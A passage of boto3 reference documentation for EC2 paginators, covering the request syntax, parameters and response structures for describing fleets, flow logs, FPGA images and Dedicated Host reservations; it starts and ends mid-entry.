Fleets. + + - _(dict) --_ + + Describes an EC2 Fleet. + + - **ActivityStatus** _(string) --_ + + The progress of the EC2 Fleet. If there is an error, the status is error . After all requests are placed, the status is pending_fulfillment . If the size of the EC2 Fleet is equal to or greater than its target capacity, the status is fulfilled . If the size of the EC2 Fleet is decreased, the status is pending_termination while instances are terminating. + + - **CreateTime** _(datetime) --_ + + The creation date and time of the EC2 Fleet. + + - **FleetId** _(string) --_ + + The ID of the EC2 Fleet. + + - **FleetState** _(string) --_ + + The state of the EC2 Fleet. + + - **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + - **ExcessCapacityTerminationPolicy** _(string) --_ + + Indicates whether running instances should be terminated if the target capacity of the EC2 Fleet is decreased below the current size of the EC2 Fleet. + + - **FulfilledCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target capacity. + + - **FulfilledOnDemandCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target On-Demand capacity. + + - **LaunchTemplateConfigs** _(list) --_ + + The launch template and overrides. + + - _(dict) --_ + + Describes a launch template and overrides. + + - **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + - **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + - **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + - _(dict) --_ + + Describes overrides for a launch template. + + - **InstanceType** _(string) --_ + + The instance type. + + - **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + - **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + - **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + - **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + - **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + - **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + - **TargetCapacitySpecification** _(dict) --_ + + The number of units to request. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + - **TotalTargetCapacity** _(integer) --_ + + The number of units to request, filled using DefaultTargetCapacityType . + + - **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. If you specify a target capacity for Spot units, you cannot specify a target capacity for On-Demand units. + + - **SpotTargetCapacity** _(integer) --_ + + The maximum number of Spot units to launch. If you specify a target capacity for On-Demand units, you cannot specify a target capacity for Spot units. + + - **DefaultTargetCapacityType** _(string) --_ + + The default TotalTargetCapacity , which is either Spot or On-Demand . + + - **TerminateInstancesWithExpiration** _(boolean) --_ + + Indicates whether running instances should be terminated when the EC2 Fleet expires. + + - **Type** _(string) --_ + + The type of request. Indicates whether the EC2 Fleet only requests the target capacity, or also attempts to maintain it. If you request a certain target capacity, EC2 Fleet only places the required requests; it does not attempt to replenish instances if capacity is diminished, and it does not submit requests in alternative capacity pools if capacity is unavailable. To maintain a certain target capacity, EC2 Fleet places the required requests to meet this target capacity. It also automatically replenishes any interrupted Spot Instances. Default: maintain . + + - **ValidFrom** _(datetime) --_ + + The start date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). The default is to start fulfilling the request immediately. + + - **ValidUntil** _(datetime) --_ + + The end date and time of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). At this point, no new instance requests are placed or able to fulfill the request. The default end date is 7 days from the current date. + + - **ReplaceUnhealthyInstances** _(boolean) --_ + + Indicates whether EC2 Fleet should replace unhealthy instances. + + - **SpotOptions** _(dict) --_ + + The configuration of Spot Instances in an EC2 Fleet. + + - **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the EC2 Fleet. + + If the allocation strategy is lowest-price , EC2 Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , EC2 Fleet launches instances from all of the Spot Instance pools that you specify. + + If the allocation strategy is capacity-optimized , EC2 Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + - **MaintenanceStrategies** _(dict) --_ + + The strategies for managing your workloads on your Spot Instances that will be interrupted. Currently only the capacity rebalance strategy is available. + + - **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + - **ReplacementStrategy** _(string) --_ + + To allow EC2 Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for an existing Spot Instance in the fleet, specify launch . Only available for fleets of type maintain . + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for both instances while they are running. + + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + - **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when **AllocationStrategy** is set to lowest-price . EC2 Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + - **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all Spot Instances in the fleet. Supported only for fleets of type instant . + + - **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all Spot Instances into a single Availability Zone. Supported only for fleets of type instant . + + - **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for Spot Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + - **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. + + - **OnDemandOptions** _(dict) --_ + + The allocation strategy of On-Demand Instances in an EC2 Fleet. + + - **AllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowest-price , EC2 Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , EC2 Fleet uses the priority that you assigned to each launch template override, launching the highest priority first. If you do not specify a value, EC2 Fleet defaults to lowest-price . + + - **CapacityReservationOptions** _(dict) --_ + + The strategy for using unused Capacity Reservations for fulfilling On-Demand capacity. Supported only for fleets of type instant . + + - **UsageStrategy** _(string) --_ + + Indicates whether to use unused Capacity Reservations for fulfilling On-Demand capacity. + + If you specify use-capacity-reservations-first , the fleet uses unused Capacity Reservations to fulfill On-Demand capacity up to the target On-Demand capacity. If multiple instance pools have unused Capacity Reservations, the On-Demand allocation strategy (lowest-price or prioritized ) is applied. If the number of unused Capacity Reservations is less than the On-Demand target capacity, the remaining On-Demand target capacity is launched according to the On-Demand allocation strategy (lowest-price or prioritized ). + + If you do not specify a value, the fleet fulfils the On-Demand capacity according to the chosen On-Demand allocation strategy. + + - **SingleInstanceType** _(boolean) --_ + + Indicates that the fleet uses a single instance type to launch all On-Demand Instances in the fleet. Supported only for fleets of type instant . + + - **SingleAvailabilityZone** _(boolean) --_ + + Indicates that the fleet launches all On-Demand Instances into a single Availability Zone. Supported only for fleets of type instant . + + - **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for On-Demand Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + - **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. + + - **Tags** _(list) --_ + + The tags for an EC2 Fleet resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **Errors** _(list) --_ + + Information about the instances that could not be launched by the fleet. Valid only when **Type** is set to instant . + + - _(dict) --_ + + Describes the instances that could not be launched by the fleet. + + - **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + - **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + - **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + - **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + - **InstanceType** _(string) --_ + + The instance type. + + - **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + - **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + - **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + - **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + - **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + - **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + - **Lifecycle** _(string) --_ + + Indicates if the instance that could not be launched was a Spot Instance or On-Demand Instance. + + - **ErrorCode** _(string) --_ + + The error code that indicates why the instance could not be launched. For more information about error codes, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + - **ErrorMessage** _(string) --_ + + The error message that describes why the instance could not be launched. For more information about error messages, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + - **Instances** _(list) --_ + + Information about the instances that were launched by the fleet. Valid only when **Type** is set to instant . + + - _(dict) --_ + + Describes the instances that were launched by the fleet. + + - **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + - **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + - **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + - **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + - **InstanceType** _(string) --_ + + The instance type. + + - **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + - **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + - **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + - **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + - **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + - **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + - **Lifecycle** _(string) --_ + + Indicates if the instance that was launched is a Spot Instance or On-Demand Instance. + + - **InstanceIds** _(list) --_ + + The IDs of the instances. + + - _(string) --_ + - **InstanceType** _(string) --_ + + The instance type. + + - **Platform** _(string) --_ + + The value is Windows for Windows instances. Otherwise, the value is blank. + + +_class_ EC2.Paginator.DescribeFlowLogs + +paginator = client.get_paginator('describe_flow_logs') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_flow_logs()](#EC2.Client.describe_flow_logs "EC2.Client.describe_flow_logs"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFlowLogs) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + FlowLogIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - deliver-log-status - The status of the logs delivery (SUCCESS | FAILED ). + - log-destination-type - The type of destination to which the flow log publishes data. Possible destination types include cloud-watch-logs and s3 . + - flow-log-id - The ID of the flow log. + - log-group-name - The name of the log group. + - resource-id - The ID of the VPC, subnet, or network interface. + - traffic-type - The type of traffic (ACCEPT | REJECT | ALL ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **FlowLogIds** (_list_) -- + + One or more flow log IDs. + + Constraint: Maximum of 1000 flow log IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FlowLogs': [ + { + 'CreationTime': datetime(2015, 1, 1), + 'DeliverLogsErrorMessage': 'string', + 'DeliverLogsPermissionArn': 'string', + 'DeliverLogsStatus': 'string', + 'FlowLogId': 'string', + 'FlowLogStatus': 'string', + 'LogGroupName': 'string', + 'ResourceId': 'string', + 'TrafficType': 'ACCEPT'|'REJECT'|'ALL', + 'LogDestinationType': 'cloud-watch-logs'|'s3', + 'LogDestination': 'string', + 'LogFormat': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'MaxAggregationInterval': 123 + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **FlowLogs** _(list) --_ + + Information about the flow logs. + + - _(dict) --_ + + Describes a flow log. + + - **CreationTime** _(datetime) --_ + + The date and time the flow log was created. + + - **DeliverLogsErrorMessage** _(string) --_ + + Information about the error that occurred. Rate limited indicates that CloudWatch Logs throttling has been applied for one or more network interfaces, or that you've reached the limit on the number of log groups that you can create. Access error indicates that the IAM role associated with the flow log does not have sufficient permissions to publish to CloudWatch Logs. Unknown error indicates an internal error. + + - **DeliverLogsPermissionArn** _(string) --_ + + The ARN of the IAM role that posts logs to CloudWatch Logs. + + - **DeliverLogsStatus** _(string) --_ + + The status of the logs delivery (SUCCESS | FAILED ). + + - **FlowLogId** _(string) --_ + + The flow log ID. + + - **FlowLogStatus** _(string) --_ + + The status of the flow log (ACTIVE ). + + - **LogGroupName** _(string) --_ + + The name of the flow log group. + + - **ResourceId** _(string) --_ + + The ID of the resource on which the flow log was created. + + - **TrafficType** _(string) --_ + + The type of traffic captured for the flow log. + + - **LogDestinationType** _(string) --_ + + Specifies the type of destination to which the flow log data is published. Flow log data can be published to CloudWatch Logs or Amazon S3. + + - **LogDestination** _(string) --_ + + Specifies the destination to which the flow log data is published. Flow log data can be published to an CloudWatch Logs log group or an Amazon S3 bucket. If the flow log publishes to CloudWatch Logs, this element indicates the Amazon Resource Name (ARN) of the CloudWatch Logs log group to which the data is published. If the flow log publishes to Amazon S3, this element indicates the ARN of the Amazon S3 bucket to which the data is published. + + - **LogFormat** _(string) --_ + + The format of the flow log record. + + - **Tags** _(list) --_ + + The tags for the flow log. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **MaxAggregationInterval** _(integer) --_ + + The maximum interval of time, in seconds, during which a flow of packets is captured and aggregated into a flow log record. + + When a network interface is attached to a [Nitro-based instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) , the aggregation interval is always 60 seconds (1 minute) or less, regardless of the specified value. + + Valid Values: 60 | 600 + + +_class_ EC2.Paginator.DescribeFpgaImages + +paginator = client.get_paginator('describe_fpga_images') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_fpga_images()](#EC2.Client.describe_fpga_images "EC2.Client.describe_fpga_images"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFpgaImages) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + FpgaImageIds=[ + 'string', + ], + Owners=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **FpgaImageIds** (_list_) -- + + The AFI IDs. + + - _(string) --_ +- **Owners** (_list_) -- + + Filters the AFI by owner. Specify an AWS account ID, self (owner is the sender of the request), or an AWS owner alias (valid values are amazon | aws-marketplace ). + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - create-time - The creation time of the AFI. + - fpga-image-id - The FPGA image identifier (AFI ID). + - fpga-image-global-id - The global FPGA image identifier (AGFI ID). + - name - The name of the AFI. + - owner-id - The AWS account ID of the AFI owner. + - product-code - The product code. + - shell-version - The version of the AWS Shell that was used to create the bitstream. + - state - The state of the AFI (pending | failed | available | unavailable ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - update-time - The time of the most recent update. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImages': [ + { + 'FpgaImageId': 'string', + 'FpgaImageGlobalId': 'string', + 'Name': 'string', + 'Description': 'string', + 'ShellVersion': 'string', + 'PciId': { + 'DeviceId': 'string', + 'VendorId': 'string', + 'SubsystemId': 'string', + 'SubsystemVendorId': 'string' + }, + 'State': { + 'Code': 'pending'|'failed'|'available'|'unavailable', + 'Message': 'string' + }, + 'CreateTime': datetime(2015, 1, 1), + 'UpdateTime': datetime(2015, 1, 1), + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Public': True|False, + 'DataRetentionSupport': True|False + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **FpgaImages** _(list) --_ + + Information about the FPGA images. + + - _(dict) --_ + + Describes an Amazon FPGA image (AFI). + + - **FpgaImageId** _(string) --_ + + The FPGA image identifier (AFI ID). + + - **FpgaImageGlobalId** _(string) --_ + + The global FPGA image identifier (AGFI ID). + + - **Name** _(string) --_ + + The name of the AFI. + + - **Description** _(string) --_ + + The description of the AFI. + + - **ShellVersion** _(string) --_ + + The version of the AWS Shell that was used to create the bitstream. + + - **PciId** _(dict) --_ + + Information about the PCI bus. + + - **DeviceId** _(string) --_ + + The ID of the device. + + - **VendorId** _(string) --_ + + The ID of the vendor. + + - **SubsystemId** _(string) --_ + + The ID of the subsystem. + + - **SubsystemVendorId** _(string) --_ + + The ID of the vendor for the subsystem. + + - **State** _(dict) --_ + + Information about the state of the AFI. + + - **Code** _(string) --_ + + The state. The following are the possible values: + + - pending - AFI bitstream generation is in progress. + - available - The AFI is available for use. + - failed - AFI bitstream generation failed. + - unavailable - The AFI is no longer available for use. + - **Message** _(string) --_ + + If the state is failed , this is the error message. + + - **CreateTime** _(datetime) --_ + + The date and time the AFI was created. + + - **UpdateTime** _(datetime) --_ + + The time of the most recent update to the AFI. + + - **OwnerId** _(string) --_ + + The AWS account ID of the AFI owner. + + - **OwnerAlias** _(string) --_ + + The alias of the AFI owner. Possible values include self , amazon , and aws-marketplace . + + - **ProductCodes** _(list) --_ + + The product codes for the AFI. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **Tags** _(list) --_ + + Any tags assigned to the AFI. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **Public** _(boolean) --_ + + Indicates whether the AFI is public. + + - **DataRetentionSupport** _(boolean) --_ + + Indicates whether data retention support is enabled for the AFI. + + +_class_ EC2.Paginator.DescribeHostReservationOfferings + +paginator = client.get_paginator('describe_host_reservation_offerings') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_host_reservation_offerings()](#EC2.Client.describe_host_reservation_offerings "EC2.Client.describe_host_reservation_offerings"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHostReservationOfferings) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxDuration=123, + MinDuration=123, + OfferingId='string', + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - instance-family - The instance family of the offering (for example, m4 ). + - payment-option - The payment option (NoUpfront | PartialUpfront | AllUpfront ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **MaxDuration** (_integer_) -- This is the maximum duration of the reservation to purchase, specified in seconds. Reservations are available in one-year and three-year terms. The number of seconds specified must be the number of seconds in a year (365x24x60x60) times one of the supported durations (1 or 3). For example, specify 94608000 for three years. +- **MinDuration** (_integer_) -- This is the minimum duration of the reservation you'd like to purchase, specified in seconds. Reservations are available in one-year and three-year terms. The number of seconds specified must be the number of seconds in a year (365x24x60x60) times one of the supported durations (1 or 3). For example, specify 31536000 for one year. +- **OfferingId** (_string_) -- The ID of the reservation offering. +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'OfferingSet': [ + { + 'CurrencyCode': 'USD', + 'Duration': 123, + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'OfferingId': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'UpfrontPrice': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **OfferingSet** _(list) --_ + + Information about the offerings. + + - _(dict) --_ + + Details about the Dedicated Host Reservation offering. + + - **CurrencyCode** _(string) --_ + + The currency of the offering. + + - **Duration** _(integer) --_ + + The duration of the offering (in seconds). + + - **HourlyPrice** _(string) --_ + + The hourly price of the offering. + + - **InstanceFamily** _(string) --_ + + The instance family of the offering. + + - **OfferingId** _(string) --_ + + The ID of the offering. + + - **PaymentOption** _(string) --_ + + The available payment option. + + - **UpfrontPrice** _(string) --_ + + The upfront price of the offering. Does not apply to No Upfront offerings. + + +_class_ EC2.Paginator.DescribeHostReservations + +paginator = client.get_paginator('describe_host_reservations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_host_reservations()](#EC2.Client.describe_host_reservations "EC2.Client.describe_host_reservations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHostReservations) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + HostReservationIdSet=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - instance-family - The instance family (for example, m4 ). + - payment-option - The payment option (NoUpfront | PartialUpfront | AllUpfront ). + - state - The state of the reservation (payment-pending | payment-failed | active | retired ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **HostReservationIdSet** (_list_) -- + + The host reservation IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'HostReservationSet': [ + { + 'Count': 123, + 'CurrencyCode': 'USD', + 'Duration': 123, + 'End': datetime(2015, 1, 1), + 'HostIdSet': [ + 'string', + ], + 'HostReservationId': 'string', + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'OfferingId': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'Start': datetime(2015, 1, 1), + 'State': 'payment-pending'|'payment-failed'|'active'|'retired', + 'UpfrontPrice': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **HostReservationSet** _(list) --_ + + Details about the reservation's configuration. + + - _(dict) --_ + + Details about the Dedicated Host Reservation and associated Dedicated Hosts. + + - **Count** 